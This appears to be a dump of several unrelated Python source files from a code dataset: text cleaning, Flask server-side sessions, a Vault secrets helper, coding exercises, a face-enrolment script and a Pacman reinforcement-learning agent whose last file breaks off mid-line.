on.\n\n Parameters\n sentence | str\n The sentence to process\n regexs | List[Tuple[str, str]]\n A list of tuple with first element being the pattern to match\n and the second element being the string that replaces the\n pattern.\n \"\"\"\n for regex, replacement in regexs:\n sentence = re.sub(regex, replacement, sentence)\n return sentence\n\n @staticmethod\n @accepts(str)\n @returns(str)\n def remove_smileys(sentence):\n \"\"\"Remove smileys from text. This is different from the emojis because\n the smileys are made by combining characters (mostly ascii), e.g. :-)\n \"\"\"\n regex = r\"[\\:\\;\\=]{1}-?([\\\\\\/DpPdoO0\\*)(\\]\\[\\]])\\1*\"\n sentence = re.sub(regex, \" \", sentence)\n regex = r\"[\\:\\;\\=]{1}\\s?-\\s?([\\\\\\/\\*)(\\]\\[\\]])\\1*\"\n sentence = re.sub(regex, \" \", sentence)\n\n for smiley in Cleaner.smileys:\n sentence = sentence.replace(smiley, \" \")\n return sentence\n\n @staticmethod\n @accepts(str)\n @returns(str)\n def remove_hat_element(sentence):\n \"\"\"Remove some hat elements (^gf, ^chs, ^ds and so on) that appears\n sometimes at the end of sentences. The meaning and origin of these\n elements are unknown.\n \"\"\"\n sentence = re.sub(r\"\\^\\w+$\", \"\", sentence)\n return sentence\n\n @staticmethod\n @accepts(str)\n @returns(str)\n def remove_html_entities(sentence):\n \"\"\"Remove some html entities\n \"\"\"\n for x in Cleaner.html_entities:\n sentence = sentence.replace(x, \" \")\n return sentence\n\n @staticmethod\n @accepts(str, int, special=set)\n @returns(str)\n def remove_groups_of_special_chars(\n sentence,\n from_size,\n special=set(\"-,%&\\\"'()/$*+:;<=>[]^_{}|\\\\~€°²\")):\n \"\"\"Remove tokens of consecutive special characters, if the length is\n at least 'from_size'. The tokens are space-separated\n \"\"\"\n final_words = []\n sentence = Cleaner.clean_spaces(sentence)\n for word in sentence.split():\n special_count = len([c for c in word if c in special])\n if special_count < from_size or len(word) != special_count:\n final_words.append(word)\n return ' '.join(final_words)\n\n @staticmethod\n @accepts(str, special=set)\n @returns(str)\n def remove_isolated_special_chars(sentence,\n special=set(\"+<=>^_\\\\°²\")):\n \"\"\"Remove isolated special characters.\n \"\"\"\n final_words = []\n sentence = Cleaner.clean_spaces(sentence)\n for word in sentence.split():\n if len(word) > 1 or word not in special:\n final_words.append(word)\n return ' '.join(final_words)\n\n @staticmethod\n @accepts(str)\n @returns(List[str])\n def split_parenthesis(sentence):\n \"\"\"Split the text containing parenthesis ()[]{}| by considering the\n different parenthesis as delimiters.\n \"\"\"\n for x in list(\"()[]{}\"):\n sentence = sentence.replace(x, '|')\n return [x.strip() for x in sentence.split('|') if len(x.strip())>0]\n\n @staticmethod\n @accepts(str, Set[str])\n @returns(str)\n def remove_not_good_chars(sentence, good_chars):\n \"\"\"Replace by a space all characters that are not in good_chars\"\"\"\n chars = set(list(sentence))\n for c in chars:\n if c not in good_chars:\n sentence = sentence.replace(c, \" \")\n return sentence\n\n @staticmethod\n @returns(str)\n def remove_special_chars(sentence, special_chars=set(\"#@[]{}<>=^\\\\_~\")):\n \"\"\"Replace by a space all given special characters from a list of\n sentences\"\"\"\n chars = set(list(sentence))\n for c in chars:\n if c in special_chars:\n sentence = sentence.replace(c, \" \")\n return sentence\n\n @staticmethod\n @accepts(str)\n @returns(str)\n def remove_special_words(sentence):\n \"\"\"Remove words containing one or more character that are not in\n the good character list\"\"\"\n final = []\n for word in sentence.split():\n if len(set(word).difference(Cleaner.good_chars)) == 0:\n final.append(word)\n return ' '.join(final)\n\n @staticmethod\n @accepts(str)\n @returns(str)\n def clean_punc(sentence):\n \"\"\"Clean the punctuation : no space before, space after, remove\n duplicate punctuation except for point. Several points is\n mapped to three points. Note that we try to use as less regex as\n possible because regex are time consuming. \"\"\"\n\n # remove duplicated spaces\n sentence = Cleaner.clean_spaces(sentence)\n # remove any space before punctuation\n for c in Cleaner.punc_set:\n sentence = sentence.replace(\" \"+c, c)\n # remove duplicated punctuation\n for c in Cleaner.punc_set_no_period:\n while c+c in sentence:\n sentence = sentence.replace(c+c, c)\n # replace two or more points by three points\n sentence = re.sub(r\"\\.{2,}\", \"...\", sentence)\n # replace a weird combination of punctuation by a simple one\n sentence = re.sub(r\"[\\?\\!\\.\\,\\;\\:]*\\?[\\?\\!\\.\\,\\;\\:]*\", \"?\", sentence)\n sentence = re.sub(r\"[\\!\\.\\,\\;\\:]*\\![\\!\\.\\,\\;\\:]*\", \"!\", sentence)\n sentence = re.sub(r\"[\\,\\;\\:]*\\.[\\,\\;\\:]*\", \".\", sentence)\n sentence = re.sub(r\"[\\,\\;\\:]*\\,[\\,\\;\\:]*\", \",\", sentence)\n # remove punctuation at the beginning\n while len(sentence) > 0 and sentence[0] in Cleaner.punc_set:\n sentence = sentence[1:]\n # add space after punctuation\n sentence = re.sub(r\"\\.(?!\\.)\", \". \", sentence)\n for c in Cleaner.punc_set_no_period:\n sentence = sentence.replace(c, c+\" \")\n # remove duplicated space\n sentence = Cleaner.clean_spaces(sentence)\n return sentence\n\n @staticmethod\n @accepts(str)\n @returns(str)\n def clean_spaces(sentence):\n \"\"\"Remove duplicated spaces and spaces at the beginning or end of a\n sentence\"\"\"\n sentence = re.sub(r\"\\s+\", \" \", sentence)\n sentence = sentence.strip()\n return sentence\n\n def add_num_token(sentence):\n \"\"\"Convert all numbers in a token and isolate the\n token by adding a space before and after.\n \"\"\"\n sentence = re.sub(r\"[0-9][0-9\\.\\,\\'/]*[0-9]\", \" \", sentence)\n sentence = re.sub(r\"\\(\\s+\\)+\", \"\", sentence)\n return sentence\n\n def add_punc_token(sentence):\n \"\"\"Convert all punctuation signs in a token and isolate the\n token by adding a space before and after. Make sure to run this after\n add_num_token.\n \"\"\"\n return re.sub(r\"[\\.\\,\\:\\;\\?\\!\\]\\(\\)\\\"]+\", \" \", sentence)\n sentence = re.sub(r\"\\(\\s+\\)+\", \"\", sentence)\n return sentence\n\n def remove_special_duplication(sentence,\n special=set(\"-,?!%&\\\"\\'()/$*+:;<=>[]\\\\^_{}|~€°²\")):\n \"\"\"Remove the duplication of special characters\n \"\"\"\n\n # would do the job but takes slightly more time\n special = r\"[\\-\\,\\?\\!\\%\\&\\\"\\'\\(\\)\\/\\$\\*\\+\\:\\;\\<\\=\\>\\[\\]\\\\\\^\" + \\\n r\"\\_\\{\\}\\|\\~\\€\\°\\²]\"\n regex = r\"(\" + special + r\")\\1*\"\n sentence = re.sub(regex, r\"\\1\", sentence)\n return sentence\n\n # slightly faster but need to check escaped characters\n # for c in list(special) + [\" \"]:\n # if c in sentence:\n # regex = \"\\\\\" + c + \"+\"\n # sentence = re.sub(regex, c, sentence)\n # return sentence\n\n def remove_non_gsw_accent(sentence, exclude={'Ä','Ö','Ü','ä','ö','ü'}):\n \"\"\"Replace all non gsw accent by the letter without the accent\"\"\"\n res = []\n for c in sentence:\n if not c in exclude:\n c = unidecode.unidecode(c)\n res.append(c)\n return ''.join(res)\n","sub_path":"preprocessing/cleaner.py","file_name":"cleaner.py","file_ext":"py","file_size_in_byte":9360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"202572511","text":"# -*- coding: utf-8 -*-\n\"\"\"\n flaskext.session.sessions\n ~~~~~~~~~~~~~~~~~~~~~~~~~\n\n Server-side Sessions and SessionInterfaces.\n\n :copyright: (c) 2014 by Shipeng Feng.\n :license: BSD, see LICENSE for more details.\n\"\"\"\nimport sys\nimport time\nfrom uuid import uuid4\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\nfrom flask.sessions import SessionInterface, SessionMixin\nfrom itsdangerous import URLSafeTimedSerializer, BadSignature\nfrom werkzeug.datastructures import CallbackDict\n\n\nclass ServerSideSession(CallbackDict, SessionMixin):\n \"\"\"Baseclass for server-side based sessions.\"\"\"\n\n def __init__(self, initial=None, sid=None):\n def on_update(self):\n self.modified = True\n CallbackDict.__init__(self, initial, on_update)\n self.sid = sid\n self.permanent = True\n self.modified = False\n\n\nclass RedisSession(ServerSideSession):\n pass\n\n\nclass MemcachedSession(ServerSideSession):\n pass\n\n\nclass FileSystemSession(ServerSideSession):\n pass\n\n\nclass MongoDBSession(ServerSideSession):\n pass\n\n\nclass BaseSessionInterface(SessionInterface):\n\n def __init__(self, client, key_prefix):\n self.client = self._get_client(client)\n self.key_prefix = key_prefix\n\n def _get_client(client):\n raise NotImplemented()\n\n def get_value(self, key):\n return self.client.get(key)\n\n def set_value(self, key, value, timeout):\n return self.client.set(key, value, timeout)\n\n def delete_value(self, key):\n return self.client.delete(key)\n\n def _generate_sid(self, app):\n return self._signer(app).dumps(str(uuid4()))\n\n def _signer(self, app):\n if not hasattr(self, '_signer_serializer'):\n self._signer_serializer = URLSafeTimedSerializer(app.secret_key)\n return self._signer_serializer\n\n def _encode_key(self, key, encoding='utf-8'):\n if sys.version_info.major == 2:\n if isinstance(key, unicode):\n return key.encode(encoding)\n else:\n if isinstance(key, bytes):\n return key.decode(encoding)\n return key\n\n def _session_key(self, app, raw_sid):\n max_age = app.permanent_session_lifetime.total_seconds()\n sid = self._signer(app).loads(raw_sid, max_age=max_age)\n return self._encode_key('{}:{}'.format(self.key_prefix, sid))\n\n def _session_timeout(self, app):\n return int(app.permanent_session_lifetime.total_seconds())\n\n def open_session(self, app, request):\n sid = request.cookies.get(app.session_cookie_name)\n if not sid:\n sid = self._generate_sid(app)\n return self.session_class(sid=sid)\n try:\n val = self.get_value(self._session_key(app, sid))\n except BadSignature:\n val = None\n if val is not None:\n try:\n data = self.serializer.loads(val)\n return self.session_class(data, sid=sid)\n except:\n pass\n return self.session_class(sid=sid)\n\n def save_session(self, app, session, response):\n domain = self.get_cookie_domain(app)\n path = self.get_cookie_path(app)\n try:\n full_session_key = self._session_key(app, session.sid)\n except BadSignature:\n response.delete_cookie(app.session_cookie_name,\n domain=domain, path=path)\n return\n\n if not session:\n if session.modified:\n self.delete_value(full_session_key)\n response.delete_cookie(app.session_cookie_name,\n domain=domain, path=path)\n return\n\n # Modification case. There are upsides and downsides to\n # emitting a set-cookie header each request. The behavior\n # is controlled by the :meth:`should_set_cookie` method\n # which performs a quick check to figure out if the cookie\n # should be set or not. This is controlled by the\n # SESSION_REFRESH_EACH_REQUEST config flag as well as\n # the permanent flag on the session itself.\n #if not self.should_set_cookie(app, session):\n # return\n\n httponly = self.get_cookie_httponly(app)\n secure = self.get_cookie_secure(app)\n expires = self.get_expiration_time(app, session)\n val = self.serializer.dumps(dict(session))\n self.set_value(full_session_key, val, self._session_timeout(app))\n response.set_cookie(app.session_cookie_name, session.sid,\n expires=expires, httponly=httponly,\n domain=domain, path=path, secure=secure)\n\n\nclass NullSessionInterface(SessionInterface):\n \"\"\"Used to open a :class:`flask.sessions.NullSession` instance.\n \"\"\"\n\n def open_session(self, app, request):\n return None\n\n\nclass RedisSessionInterface(BaseSessionInterface):\n \"\"\"Uses the Redis key-value store as a session backend.\n\n :param redis: A ``redis.Redis`` instance.\n :param key_prefix: A prefix that is added to all Redis store keys.\n \"\"\"\n\n serializer = pickle\n session_class = RedisSession\n\n def _get_client(self, client):\n if client is None:\n from redis import Redis\n client = Redis()\n return client\n\n def set_value(self, key, value, timeout):\n return self.client.setex(key, value, timeout)\n\n\nclass MemcachedSessionInterface(BaseSessionInterface):\n \"\"\"A Session interface that uses memcached as backend.\n\n :param client: A ``memcache.Client`` instance.\n :param key_prefix: A prefix that is added to all Memcached store keys.\n \"\"\"\n\n serializer = pickle\n session_class = MemcachedSession\n\n def _get_client(self, client):\n if client is not None:\n return client\n\n servers = ['127.0.0.1:11211']\n try:\n import pylibmc\n except ImportError:\n pass\n else:\n return pylibmc.Client(servers)\n\n try:\n import memcache\n except ImportError:\n pass\n else:\n return memcache.Client(servers)\n\n def _session_timeout(self, app):\n \"\"\"\n Memcached deals with long (> 30 days) timeouts in a special\n way. Call this function to obtain a safe value for your timeout.\n \"\"\"\n timeout = super(MemcachedSessionInterface, self)._session_timeout(app)\n if timeout > 2592000: # 60*60*24*30, 30 days\n # See http://code.google.com/p/memcached/wiki/FAQ\n # \"You can set expire times up to 30 days in the future. After that\n # memcached interprets it as a date, and will expire the item after\n # said date. This is a simple (but obscure) mechanic.\"\n #\n # This means that we have to switch to absolute timestamps.\n timeout += int(time.time())\n return timeout\n\n\nclass FileSystemSessionInterface(BaseSessionInterface):\n \"\"\"Uses the :class:`werkzeug.contrib.cache.FileSystemCache` as a session\n backend.\n\n :param cache_dir: the directory where session files are stored.\n :param threshold: the maximum number of items the session stores before it\n starts deleting some.\n :param mode: the file mode wanted for the session files, default 0600\n :param key_prefix: A prefix that is added to FileSystemCache store keys.\n \"\"\"\n\n session_class = FileSystemSession\n serializer = pickle\n\n def __init__(self, cache_dir, threshold, mode, key_prefix):\n self._cache_dir = cache_dir\n self._threshold = threshold\n self._mode = mode\n super(FileSystemSessionInterface, self).__init__(None, key_prefix)\n\n def _get_client(self, client):\n from werkzeug.contrib.cache import FileSystemCache\n return FileSystemCache(self._cache_dir, threshold=self._threshold, mode=self._mode)\n\n\nclass MongoDBSessionInterface(BaseSessionInterface):\n \"\"\"A Session interface that uses mongodb as backend.\n\n :param client: A ``pymongo.MongoClient`` instance.\n :param db: The database you want to use.\n :param collection: The collection you want to use.\n :param key_prefix: A prefix that is added to all MongoDB store keys.\n \"\"\"\n\n serializer = pickle\n session_class = MongoDBSession\n\n def __init__(self, client, db, collection, key_prefix):\n self._db = db\n self._collection = collection\n super(MongoDBSessionInterface, self).__init__(client, key_prefix)\n\n def _get_client(self, client):\n if client is None:\n from pymongo import MongoClient\n client = MongoClient()\n return client[self._db][self._collection]\n\n def get_value(self, key):\n document = self.client.find_one({'id': key})\n if not document:\n return None\n return str(document['val'])\n\n def set_value(self, key, value, timeout):\n return self.client.update({'id': key},\n {'id': key,\n 'val': value}, True)\n\n def delete_value(self, key):\n super(MongoDBSessionInterface, self).delete_value({'id': key})\n","sub_path":"flask_session/sessions.py","file_name":"sessions.py","file_ext":"py","file_size_in_byte":9191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"380301061","text":"# hack to be able to load modules in Python3\nimport sys, os\nsys.path.insert(1, os.path.join(os.getcwd(),'.'))\n\nimport argparse\n\nfrom train_rl import train_rl\nfrom train_il import train_il\nfrom sim import sim\nfrom planning.rrt import rrt\nfrom planning.scp import scp\n\ndef run(param, env, controllers, initial_state = None):\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"--rl\", action='store_true')\n\tparser.add_argument(\"--il\", action='store_true')\n\tparser.add_argument(\"--rrt\", action='store_true')\n\tparser.add_argument(\"--scp\", action='store_true')\n\tparser.add_argument(\"--animate\", action='store_true')\n\targs = parser.parse_args()\n\n\tif args.rl:\n\t\ttrain_rl(param, env)\n\telif args.il:\n\t\ttrain_il(param, env)\n\telif args.rrt:\n\t\trrt(param, env)\n\telif args.scp:\n\t\tscp(param, env)\n\telse:\n\t\tsim(param, env, controllers, initial_state, args.animate)\n","sub_path":"code/examples/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"169745108","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 12 07:22:28 2019\n\n@author: walker\n\"\"\"\n\n'''1) Create a function that will sum the squares of one array,\nsum the cubes of another, and return true or false value on whether sum a is greater than sum b'''\n#my sol:\ndef array_madness(a,b):\n sum_squares = []\n sum_cubes = []\n for n in a:\n sum_squares = sum(n**2)\n \n for x in b:\n sum_cubes = sum(x**3)\n \n return sum_squares == sum_cubes\n\n#solution found\ndef array_madness(a,b):\n return sum(x ** 2 for x in a) > sum(x **3 for x in b)\n\n'''2) Complete the solution so that it reverses all of the words within the string passed in.'''\n\ndef reverseWords(str):\n str_spl = str.split()\n reversd = []\n \n for i in range(len(str_spl), -1, -1, -1):\n reversd.append(str_spl[i])\n \n return ' '.join(reversd) \n\n\n'''3) Lost pencil game!'''\n#pre load end:\nend = range(0, 21, 1)\n\ndef lostPencils(end):\n result = 0\n current = 1\n\n while current <= end:\n result += current\n current += 1\n \n return result\n\ntest.assert_equals(lostPencils(10), 55)\ntest.assert_equals(lostPencils(2), 3)\ntest.assert_equals(lostPencils(5), 15)","sub_path":"cw_june12.py","file_name":"cw_june12.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"516729897","text":"#занесение в базу из папки\n\nimport numpy as np\nimport dlib\nimport cv2\nimport os\n\nDIR = \"photos_of_people\"\n\nif not os.path.isdir(DIR):\n\tos.makedirs(DIR)\n\nsp = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')\nfacerec = dlib.face_recognition_model_v1('dlib_face_recognition_resnet_model_v1.dat')\ndetector = dlib.get_frontal_face_detector()\n\ndescriptors = np.load('descriptors1.npy')\n\nname = 'Руслан'\n\nimage_from_dir = os.listdir(DIR)[0]\n\nimg = cv2.imread(os.path.join(DIR, image_from_dir))\n\n#img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\ndets = detector(img, 1)\ntry:\n\td = dets[0]\n\n\tcv2.rectangle(img,(d.left(),d.top()),(d.right(),d.bottom()),(255,0,0),2)\n\n\tshape = sp(img, d)\n\tface_descriptor1 = facerec.compute_face_descriptor(img, shape)\n\n\tcv2.imshow('img',img)\n\tk = cv2.waitKey(0) & 0xff\n\tif k == 32:\n\t\tpass\n\telif k == 27:\n\t\t# np.save('descriptors1.npy', np.append(\tdescriptors, \t\t\t\t\t#признаки из базы\n\t\t# \t\t\t\t\t\t\t\t\t\t[[[face_descriptor1],name]],\t#новые признаки\n\t\t# \t\t\t\t\t\t\t\t\t\taxis=0))\t\n\t\tprint('записано')\nexcept:\n\tprint('Лицо человека не найдено, или же его там вообще нет')","sub_path":"n_p/skid_from_folder.py","file_name":"skid_from_folder.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"97806052","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = 'Ben Carr'\nSITENAME = 'Carr B Coding'\nSITEURL = ''#'http://carrben.github.io'\n\nPATH = 'content'\n\nDIRECT_TEMPLATES = ('index', 'categories', 'archives')\n\nTIMEZONE = 'Europe/London'\n\nDEFAULT_LANG = 'en'\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\n\n# Blogroll\nLINKS = (('Github', 'http://github.com/carrben/'),\n ('LinkedIn', 'http://uk.linkedin.com/in/carrben'),)\n\nGITHUB_URL = 'http://github.com/carrben'\nLINKEDIN_URL = 'http://uk.linkedin.com/in/carrben'\n\n# Social widget\nSOCIAL = ()#(('You can add links in your config file', '#'),\n #('Another social link', '#'),)\n\nDEFAULT_PAGINATION = False\n\n# Uncomment following line if you want document-relative URLs when developing\n#RELATIVE_URLS = True\n","sub_path":"site/pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"74096080","text":"#\n# Copyright (c) 2021 Cisco Systems, Inc and its affiliates\n# All rights reserved\n#\nimport hvac\nimport logging\n\nfrom hvac.exceptions import InvalidPath\n\nfrom config import VaultConfig\n\n\nclass VaultHelper(object):\n def __init__(self, config: VaultConfig):\n self._client = hvac.Client(\n url=config.scheme + \"://\" + config.host + \":\" + config.port,\n token=config.token,\n verify=config.cacert)\n\n def get_string(self, secret, key, default):\n try:\n response = self._client.secrets.kv.v1.read_secret(secret)\n if response and response[\"data\"] and key in response[\"data\"]:\n return response[\"data\"][key]\n except InvalidPath as e:\n logging.error(str(e))\n return default\n\n def test(self, prefix):\n # Read a secret from Vault and it to the console.\n # Do not leak secrets in production as it is a security violation.\n secret_squirrel_location = self.get_string(f\"{prefix}/helloworldservice/\", \"secret.squirrel.location\", \"UNKNOWN\")\n logging.info(\"Where are the acorns buried?\")\n logging.info(secret_squirrel_location)\n","sub_path":"python-hello-world-service-7/helpers/vault_helper.py","file_name":"vault_helper.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"183860746","text":"# myAgentP3.py\n# ---------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n#\n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n# This file was based on the starter code for student bots, and refined\n# by Mesut (Xiaocheng) Yang\n\n\nfrom captureAgents import CaptureAgent\nimport random, time, util\nfrom game import Directions, Actions\nfrom util import Counter\nimport game\nfrom util import nearestPoint\n\n\n#########\n# Agent #\n#########\nclass BaseAgent(CaptureAgent):\n \"\"\"\n YOUR DESCRIPTION HERE\n \"\"\"\n\n def registerInitialState(self, gameState):\n \"\"\"\n This method handles the initial setup of the\n agent to populate useful fields (such as what team\n we're on).\n\n A distanceCalculator instance caches the maze distances\n between each pair of positions, so your agents can use:\n self.distancer.getDistance(p1, p2)\n\n IMPORTANT: This method may run for at most 15 seconds.\n \"\"\"\n\n # Make sure you do not delete the following line.\n # If you would like to use Manhattan distances instead\n # of maze distances in order to save on initialization\n # time, please take a look at:\n # CaptureAgent.registerInitialState in captureAgents.py.\n CaptureAgent.registerInitialState(self, gameState)\n self.start = gameState.getAgentPosition(self.index)\n self.weights = [1, 1, -0.5, -1]\n\n def chooseAction(self, gameState):\n \"\"\"\n Picks among actions randomly.\n \"\"\"\n print(gameState.data.time)\n print(len(gameState.getFood().asList()))\n teammateActions = self.receivedBroadcast\n # Process your teammate's broadcast!\n # Use it to pick a better action for yourself\n\n actions = gameState.getLegalActions(self.index)\n\n filteredActions = actionsWithoutReverse(actionsWithoutStop(actions), gameState, self.index)\n\n # currentAction = random.choice(filteredActions) # Change this!\n currentAction = self.actionHelper(gameState)\n return currentAction\n\n def getLimitedActions(self, state, index):\n actions = state.getLegalActions(index)\n filteredActions = actionsWithoutReverse(actionsWithoutStop(actions), state, index)\n return filteredActions\n\n def actionHelper(self, state):\n actions = self.getLimitedActions(state, self.index)\n\n val = float('-inf')\n best = None\n for action in actions:\n new_state = state.generateSuccessor(self.index, action)\n new_state_val = self.evaluationFunction(new_state)\n\n if new_state_val > val:\n val = new_state_val\n best = action\n\n return best\n\n def evaluationFunction(self, state):\n foods = state.getFood().asList()\n ghosts = [state.getAgentPosition(ghost) for ghost in state.getGhostTeamIndices()]\n friends = [state.getAgentPosition(pacman) for pacman in state.getPacmanTeamIndices() if pacman != self.index]\n\n pacman = state.getAgentPosition(self.index)\n\n closestFood = min(self.distancer.getDistance(pacman, food) for food in foods) + 2.0 \\\n if len(foods) > 0 else 1.0\n closestGhost = min(self.distancer.getDistance(pacman, ghost) for ghost in ghosts) + 1.0 \\\n if len(ghosts) > 0 else 1.0\n closestFriend = min(self.distancer.getDistance(pacman, friend) for friend in friends) + 1.0 \\\n if len(friends) > 0 else 1.0\n\n closestFoodReward = 1.0 / closestFood\n closestGhostPenalty = 1.0 / (closestGhost ** 2) if closestGhost < 20 else 0\n closestFriendPenalty = 1.0 / (closestFriend ** 2) if closestFriend < 5 else 0\n\n numFood = len(foods)\n\n features = [-numFood, closestFoodReward, closestGhostPenalty, closestFriendPenalty]\n\n myState = state.getAgentState(self.index)\n\n value = sum(feature * weight for feature, weight in zip(features, self.weights))\n return value\n\nclass MyAgent(BaseAgent):\n def toString(self):\n return \"MyAgent\"\n\nclass ReinforcementAgent(BaseAgent):\n\n def registerInitialState(self, gameState):\n CaptureAgent.registerInitialState(self,gameState)\n self.start = gameState.getAgentPosition(self.index)\n self.walls = gameState.getWalls()\n\n self.readWeights()\n self.lastNeighbor = []\n self.lastFeature = Counter()\n\n self.alpha = 0.001\n self.gamma = 0.99\n self.reverse_prob=0.5\n\n self.bornHardLevel = 0\n for i in range(1, 4):\n col = 2 * i\n walls = 0\n for j in range(1, self.walls.height - 1):\n if self.walls[col][j] == True:\n walls += 1\n if walls < self.walls.height - 3:\n break\n self.bornHardLevel += 1\n\n def getFeatures(self, gameState, action):\n feats = Counter()\n feats['bias'] = 1\n if action == Directions.REVERSE[gameState.getAgentState(self.index).configuration.direction]:\n feats['reverse'] = 1\n else: feats['reverse'] = 0\n\n foods = gameState.getFood().asList()\n ghosts = [gameState.getAgentPosition(ghost) for ghost in gameState.getGhostTeamIndices()]\n friends = [gameState.getAgentPosition(pacman) for pacman in gameState.getPacmanTeamIndices() if pacman != self.index]\n pacman = gameState.getAgentPosition(self.index)\n closestFood = min(self.distancer.getDistance(pacman, food) for food in foods) + 2.0 \\\n if len(foods) > 0 else 1.0\n closestGhost = min(self.distancer.getDistance(pacman, ghost) for ghost in ghosts) + 1.0 \\\n if len(ghosts) > 0 else 1.0\n closestFriend = min(self.distancer.getDistance(pacman, friend) for friend in friends) + 1.0 \\\n if len(friends) > 0 else 1.0\n closestFoodReward = 1.0 / closestFood\n closestGhostPenalty = 1.0 / (closestGhost ** 2) if closestGhost < 20 else 0\n closestFriendPenalty = 1.0 / (closestFriend ** 2) if closestFriend < 5 else 0\n numFood = len(foods)\n feats['numFood'] = -numFood/60\n feats['closestFood'] = closestFoodReward\n feats['closestFriend'] = closestFriendPenalty\n feats['closestGhost'] = closestGhostPenalty\n\n pacActions = gameState.getLegalActions(gameState.getGhostTeamIndices()[0])\n pacActions = actionsWithoutStop(pacActions)\n feats['pacInTunnel'] = 0\n if len(pacActions) == 2:\n feats['pacInTunnel'] = 1\n\n futureMoves = 0\n for a in gameState.getLegalActions(self.index):\n s = gameState.generateSuccessor(self.index, a)\n futureMoves += 1 + len(s.getLegalActions(self.index))\n feats['5*5space'] = futureMoves / 30\n return feats\n\n def getQValue(self, state, action):\n \"\"\"\n Should return Q(state,action) = w * featureVector\n where * is the dotProduct operator\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n #print(self.weights)\n #print(self.featExtractor.getFeatures(state,action))\n return self.weight*self.getFeatures(state,action)\n\n def computeValueFromQValues(self, state):\n \"\"\"\n Returns max_action Q(state,action)\n where the max is over legal actions. Note that if\n there are no legal actions, which is the case at the\n terminal state, you should return a value of 0.0.\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n actions=state.getLegalActions(self.index)\n actions = actionsWithoutStop(actions)\n best_Qvalue=0\n if len(actions)!=0:\n Qvalues = [self.getQValue(state,action) for action in actions]\n best_Qvalue=max(Qvalues)\n return best_Qvalue\n\n def computeActionFromQValues(self, state):\n \"\"\"\n Compute the best action to take in a state. Note that if there\n are no legal actions, which is the case at the terminal state,\n you should return None.\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n actions=state.getLegalActions(self.index)\n actions = actionsWithoutStop(actions)\n best_action=None\n if len(actions)!=0:\n #print(\"actions\",actions,\" size:\",len(actions))\n Qvalues = [self.getQValue(state,action) for action in actions]\n best_Qvalue=max(Qvalues)\n #print(\"bestQvalue\",best_Qvalue)\n best_indices=[index for index in range(len(Qvalues)) if Qvalues[index]==best_Qvalue]\n #print(\"best_indicies\",best_indices,\" size:\",len(best_indices))\n chosen_index=random.choice(best_indices)\n best_action=actions[chosen_index]\n return best_action\n\n def chooseAction(self, state):\n \"\"\"\n Compute the action to take in the current state. With\n probability self.epsilon, we should take a random action and\n take the best policy action otherwise. Note that if there are\n no legal actions, which is the case at the terminal state, you\n should choose None as the action.\n\n HINT: You might want to use util.flipCoin(prob)\n HINT: To pick randomly from a list, use random.choice(list)\n \"\"\"\n pacX, pacY = state.getAgentPosition(self.index)\n # Pick Action\n legalActions = state.getLegalActions(self.index)\n if util.flipCoin(self.reverse_prob):\n legalActions=actionsWithoutReverse(legalActions,state,self.index)\n\n action = None\n \"*** YOUR CODE HERE ***\"\n if pacX <= 2 * self.bornHardLevel - 1:\n if ((pacX + 1) / 2) % 2 == 1:\n action = Directions.NORTH if Directions.NORTH in legalActions else None\n else:\n action = Directions.SOUTH if Directions.SOUTH in legalActions else None\n if len(legalActions)!=0 and action == None:\n if util.flipCoin(self.epsilon):\n action=random.choice(legalActions)\n else:\n action=self.computeActionFromQValues(state)\n self.update(state)\n self.lastFeature=self.getFeatures(state,action)\n self.saveWeights(state)\n return action\n\n def update(self, state):\n \"\"\"\n Should update your weights based on transition\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n reward=self.getReward(state)\n if len(self.lastFeature.keys()) != 0:\n #print('weight:',self.weight,\" lastfeature\",self.lastFeature)\n difference=reward+self.gamma*self.computeValueFromQValues(state)-self.weight*self.lastFeature\n #print(\"difference:\",difference)\n for feature in self.lastFeature:\n self.weight[feature]+=self.alpha*difference*self.lastFeature[feature]\n\n\n def getReward(self, gameState):\n eatenPenalty = 0\n if gameState.getAgentPosition(self.index) == self.start:\n eatenPenalty = -10 * self.bornHardLevel\n eatFoodReward = 0\n pacman = gameState.getAgentPosition(self.index)\n\n if len(self.lastNeighbor) != 0:\n x, y = pacman\n if (x, y) in self.lastNeighbor:\n eatFoodReward = 10\n\n foodDecreaseReward = 0\n if len(self.observationHistory) != 0:\n lastFoodNum = len(self.observationHistory[-1].getFood().asList())\n presentFoodNum = len(gameState.getFood().asList())\n foodDecreaseReward = 